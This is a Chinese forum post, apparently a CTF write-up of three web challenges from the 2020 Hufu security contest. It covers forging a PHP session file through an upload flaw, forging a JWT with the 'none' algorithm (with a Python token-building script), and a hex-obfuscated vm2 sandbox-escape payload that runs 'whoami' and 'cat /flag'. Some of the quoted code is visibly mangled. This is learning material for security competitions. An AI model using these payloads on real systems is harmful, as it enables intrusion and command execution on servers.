roger 发表于 2020-5-7 21:13:32

2020 虎符网络安全竞赛 web Writeup

前言  4月20日 周日 天气晴
  这周有虎符的安全竞赛,
  又是菜鸡自闭的一天
  真神仙打架。大佬们都tql。。
  一共三个web题目,在这里总结一下。。
babyupload  打开页面,发现给出了源码:
<?php  error_reporting(0);
  session_save_path("/var/babyctf/");
  session_start();
  require_once "/flag";
  highlight_file(__FILE__);
  if($_SESSION['username'] ==='admin')
  {
  $filename='/var/babyctf/success.txt';
  if(file_exists($filename)){
  safe_delete($filename);
  die($flag);
  }
  }
  else{
  $_SESSION['username'] ='guest';
  }
  $direction = filter_input(INPUT_POST, 'direction');
  $attr = filter_input(INPUT_POST, 'attr');
  $dir_path = "/var/babyctf/".$attr;
  if($attr==="private"){
  $dir_path .= "/".$_SESSION['username'];
  }
  if($direction === "upload"){
  try{
  if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
  throw new RuntimeException('invalid upload');
  }
  $file_path = $dir_path."/".$_FILES['up_file']['name'];
  $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
  if(preg_match('/(../|..\\)/', $file_path)){
  throw new RuntimeException('invalid file path');
  }
  @mkdir($dir_path, 0700, TRUE);
  if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
  $upload_result = "uploaded";
  }else{
  throw new RuntimeException('error while saving');
  }
  } catch (RuntimeException $e) {
  $upload_result = $e->getMessage();
  }
  } elseif ($direction === "download") {
  try{
  $filename = basename(filter_input(INPUT_POST, 'filename'));
  $file_path = $dir_path."/".$filename;
  if(preg_match('/(../|..\\)/', $file_path)){
  throw new RuntimeException('invalid file path');
  }
  if(!file_exists($file_path)) {
  throw new RuntimeException('file not exist');
  }
  header('Content-Type: application/force-download');
  header('Content-Length: '.filesize($file_path));
  header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
  if(readfile($file_path)){
  $download_result = "downloaded";
  }else{
  throw new RuntimeException('error while saving');
  }
  } catch (RuntimeException $e) {
  $download_result = $e->getMessage();
  }
  exit;
  }
  ?>
  
  读代码,发现这是一个存在上传和下载文件的功能。
  获取flag的条件:
  1.$_SESSION['username'] ==='admin')

[*]存在/var/babyctf/success.txt
  我们一步一步来:
  使$_SESSION['username'] ==='admin'),我们发现没有什么代码和修改这个变量值的,但是在代码开头设置了保存session文件的路径:
session_save_path("/var/babyctf/");  session_start();
  
  通过session文件的命名规则,可以推断session文件为:/var/babyctf/sess_XXXXX(为PHPSESSID的值)。。
  我们尝试读取一下,session文件:
  post:
direction=download&filename=sess_a41c14e052970b6a0af81246c69b552d  
  内容为:
<0x08>usernames:5:"guest";  
  猜测我们只要上传一个session文件内容为:
<0x08>usernames:5:"admin";  
  并且命名为:sess_XXXXXXXXXX,然后设置PHPSESSID就可以使得$_SESSION['username'] ==='admin')成立了。
  分析上传代码发现:
  发现如果不上传attr参数,dir_path会直接拼接上传的文件名+"_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
  如果把上传文件名设置为sess,并且不传递attr参数,就可以得到/var/babyctf/sess_XXXXXXXXX,这就可以当成session文件。。
  hash_file("sha256",$_FILES['up_file']['tmp_name']),虽然tmp_name是不可控的随机值,但是hash_file()是根据文件内容得到的hash值。就是说文件内容可控,那么文件名就是可控的了。
  在本地创建一个文件名为sess:
  在本地写一个上传页面:
<!DOCTYPE html>  <html>
  <head>
  <title></title>
  </head>
  <body>
  <form action="题目地址" method="post" enctype="multipart/form-data">
  <input type="text" name="attr" />
  <br>
  <input type="text" name="direction" />
  <br>
  <input type="file" name="up_file" />
  <br>
  <input type="submit" />
  </body>
  </html>
  
  抓包上传文件:
  获取上传文件的hash_file值
<?php  echo hash_file("sha256","./sess");
  ?>
  输出:
  432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
  
  尝试读一下sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4看是否写成功:
  然后就差success.txt了。
  可以把attr参数设置为success.txt。
  可以将success.txt变成一个目录。从而绕过了限制。
  然后将PHPSESSID修改为432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4,就可以得到flag。
easy_login  打开是一个登陆框的界面,通过题目的描述知道是一个nodejs写的网站。
  查看/static/js/app.js源代码发现:
  看注释静态映射到了根目录,猜测可以读取源码,访问app.js,controller.js 可以看到源码
  app.js
const Koa = require('koa');  const bodyParser = require('koa-bodyparser');
  const session = require('koa-session');
  const static = require('koa-static');
  const views = require('koa-views');
  const crypto = require('crypto');
  const { resolve } = require('path');
  const rest = require('./rest');
  const controller = require('./controller');
  const PORT = 80;
  const app = new Koa();
  app.keys = ;
  global.secrets = [];
  app.use(static(resolve(__dirname, '.')));
  app.use(views(resolve(__dirname, './views'), {
  extension: 'pug'
  }));
  app.use(session({key: 'sses:aok', maxAge: 86400000}, app));
  // parse request body:
  app.use(bodyParser());
  // prepare restful service
  app.use(rest.restify());
  // add controllers:
  app.use(controller());
  app.listen(PORT);
  console.log(`app started at port ${PORT}...`);
  
  然后测试出还有/controllers/api.js
const crypto = require('crypto');  const fs = require('fs')
  const jwt = require('jsonwebtoken')
  const APIError = require('../rest').APIError;
  module.exports = {
  'POST /api/register': async (ctx, next) => {
  const {username, password} = ctx.request.body;
  if(!username || username === 'admin'){
  throw new APIError('register error', 'wrong username');
  }
  if(global.secrets.length > 100000) {
  global.secrets = [];
  }
  const secret = crypto.randomBytes(18).toString('hex');
  const secretid = global.secrets.length;
  global.secrets.push(secret)
  const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
  ctx.rest({
  token: token
  });
  await next();
  },
  'POST /api/login': async (ctx, next) => {
  const {username, password} = ctx.request.body;
  if(!username || !password) {
  throw new APIError('login error', 'username or password is necessary');
  }
  const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
  const sid = JSON.parse(Buffer.from(token.split('.'), 'base64').toString()).secretid;
  console.log(sid)
  if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
  throw new APIError('login error', 'no such secret>
  }
  const secret = global.secrets;
  const user = jwt.verify(token, secret, {algorithm: 'HS256'});
  const status = username === user.username && password === user.password;
  if(status) {
  ctx.session.username = username;
  }
  ctx.rest({
  status
  });
  await next();
  },
  'GET /api/flag': async (ctx, next) => {
  if(ctx.session.username !== 'admin'){
  throw new APIError('permission error', 'permission denied');
  }
  const flag = fs.readFileSync('/flag').toString();
  ctx.rest({
  flag
  });
  await next();
  },
  'GET /api/logout': async (ctx, next) => {
  ctx.session.username = null;
  ctx.rest({
  status: true
  })
  await next();
  }
  };
  
  代码审计一下,发现是jwt加密验证。
  一些jwt库支持none算法,将算法修改为none,即没有签名算法。当alg字段被修改为none时,后端若是支持none算法,后端不会进行签名验证。
  做法:将header中的alg字段可被修改为none,去掉JWT中的signature数据(仅剩header + ‘.’ + payload + ‘.’) 然后直接提交到服务端去即可。。
  只要想办法令secret为undefined就可以使用none签名校验了。。
  js的一些特性:
  可以让secectid为0.1来进行绕过。
  先注册一个账号,抓取一下jwt进行解密。。jwt解密链接
  网站上的不能将alg设置为none,用脚本进行加密:
#encoding=utf-8  import base64
  def b64urlencode(data):
  return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')
  print b64urlencode("{"typ":"JWT","alg":"none"}") +
  '.' + b64urlencode("{"secretid":"0.1","username":"admin","password":"123456"}") + '.'
  
  脚本生成jwt加密字符串eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6IjAuMDEiLCJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYifQ.
  然后尝试admin登陆,进行抓包:
  发现登陆成功,放包
  发现成功使用admin登陆了,然后点击getflag发现没有反应。。
  然后再次抓包得到flag..
just_escape  打开页面发现:
  访问run.php得到源码:
<?php  if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
  $code = $_GET['code'];
  echo eval(code);
  } else {
  highlight_file(__FILE__);
  }
  ?>
  
  天真的我,以为是php命令执行绕过。。。
  尝试了一下phpinfo()发现:
  再看了看提示,发现不是php。
  仔细看了下代码 eval里的code这个细节猜测应该是js写的,php是假象
  验证后发现,code执行的确实是js的代码。。。
  科学上网发现了这么一篇文章:https://www.anquanke.com/post/id/170708?display=mobile
  访问/run.php?code=Error().stack得到:
Error  at vm.js:1:1
  at ContextifyScript.Script.runInContext (vm.js:59:29)
  at VM.run (/usr/src/app/node_modules/vm2/lib/main.js:219:62)
  at /usr/src/app/server.js:51:33
  at Layer.handle (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
  at next (/usr/src/app/node_modules/express/lib/router/route.js:137:13)
  at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:112:3)
  at Layer.handle (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
  at /usr/src/app/node_modules/express/lib/router/index.js:281:22
  at Function.process_params (/usr/src/app/node_modules/express/lib/router/index.js:335:12)
  
  发现题目设置的模块vm.js,然后发现对应的vm2仓库里已经有很多 escape 的 issue 了
  找到了这个 https://github.com/patriksimek/vm2/issues/225
  直接输入代码:
  发现返回了一个键盘的页面。。
  测试发现过滤了一些关键字:单引号、双引号、exec、prototype等等,会被拦截,然后返回这个键盘页面。。。
  测试发现可以通过十六进制编码来进行关键字绕过:
(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`] = f=>f[`x63x6fx6ex73x74x72x75x63x74x6fx72`](`x72x65x74x75x72x6ex20x70x72x6fx63x65x73x73`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`x67x65x74x5fx70x72x6fx63x65x73x73`](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))[`x65x78x65x63x53x79x6ex63`](`whoami`).toString();}})()  
  修改要执行的命令,就能得到flag了
  payload:
(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`] = f=>f[`x63x6fx6ex73x74x72x75x63x74x6fx72`](`x72x65x74x75x72x6ex20x70x72x6fx63x65x73x73`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`x67x65x74x5fx70x72x6fx63x65x73x73`](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))[`x65x78x65x63x53x79x6ex63`](`cat%20/flag`).toString();}})()  
总结  这次的web题目,学到了一些东西,做题最重要的还是细心。多查阅文档,不能轻易的放弃,要有耐心。。。。
  这次比赛师傅们都tql了,神仙打架

页: [1]
查看完整版本: 2020 虎符网络安全竞赛 web Writeup